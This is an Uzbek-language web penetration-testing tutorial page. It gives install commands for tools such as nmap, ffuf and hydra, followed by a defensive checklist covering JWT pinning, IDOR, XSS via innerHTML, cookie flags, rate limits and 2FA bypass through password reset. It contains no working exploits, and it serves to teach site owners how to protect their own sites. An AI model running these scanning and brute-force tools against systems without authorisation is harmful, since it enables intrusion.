# PowerShell da bir marta: wsl --install -d Ubuntu # keyin WSL ichida — to'liq Linux mavjud sudo apt update sudo apt install -y nmap ffuf hydra subfinder # Windows dasturlari ham o'sha joyda ishlaydi
| Asbob | Linux o'rnatish | Windows o'rnatish |
|---|---|---|
| nmap | apt install nmap | choco install nmap -y |
| ffuf | go install / ZIP | go install / ZIP |
| hydra | apt install hydra | choco install hydra |
| python3 | apt install python3 | winget install Python.Python.3 |
| node | apt install nodejs | winget install OpenJS.NodeJS |
| curl | apt install curl | choco install curl |
| dig | apt install dnsutils | nslookup (bor) |
| rg (grep) | apt install ripgrep | winget install ripgrep |
Asosiy qo'llanmadan tashqari 4 ta kengaytirilgan kurs bor — har birida ko'proq hujum turlari va OS bo'yicha buyruqlar:
20Qisqa cheklot
Har bir pentestda o'tkazing
- Maxfiy fayllar (.env, .git, db.json) — 403/404
- Parol tiklash yo'li 2FAni chetlab o'tmayaptimi
- JWT
algorithmspinned (HS256) - Rol bazadan olinadi, token dan emas
- Har IDOR so'rovda egasi tekshiriladi
- innerHTML da
escapeHtmlishlatiladi - Cookie: HttpOnly + Secure + SameSite
- Sessiya serverda, logout da o'chadi
- Rate limit: kalit turiga mos
- HSTS + CSP + nosniff
- 2FA: 1 xato → blok, token single-use
- Captcha bot tomonidan o'qilmaydi
Eng ko'p uchraydigan xato
| Xato | Oqibat |
|---|---|
| Frontend tekshiruvini ishonish | Barchasi o'tadi |
| Rolni token dan olish | Escalation |
| 2FA yo'q parol tiklash | 2FAning butun ma'nosiga zid |
innerHTML foydalanuvchi bilan | XSS |
| Rate limit by IP+email, kalit global | Cheklanmaydi |
| Sessiya faqat cookie da | O'g'iriladi, bekor qilinmaydi |
| Captcha matn sifatida | Bot yengadi |
Oltita asosiy dars
- Kuchsiz qatlam kuchlisini almashtirmaydi — parol tiklash 2FAni yo'q qilgan
- Token — tekshirilgan ma'lumot, ishonch emas — rol bazadan
- "Inson uchun qiyin" = bot uchun oson emas — javob matnda bo'lsa, o'qiladi
- innerHTML = xavf, textContent = xavfsiz
- Server frontend'ga ishonmaydi — 2FA, rollar, huquqlar backendda
- Pentest — buzish emas, kalitni yo'qotib qolgandan oldin nuqson topish
Maqsad — boshqani buzish emas, o'z saytingizni hujumdan oldin himoya qilish. Yuqoridagi ro'yxatni bosqichma-bosqich o'tkazing — har bir band "o'q" yoki "yo'q" bo'lishi kerak. Birinchi "yo'q"ni topganingizda — siz tayyor bo'lasiz.
Pentest O'rgatuvchi · Lingofy.uz · 2026‑09‑26
Faqat o'z resursingizda ishlating. Boshqa sayt uchun ruxsat oling.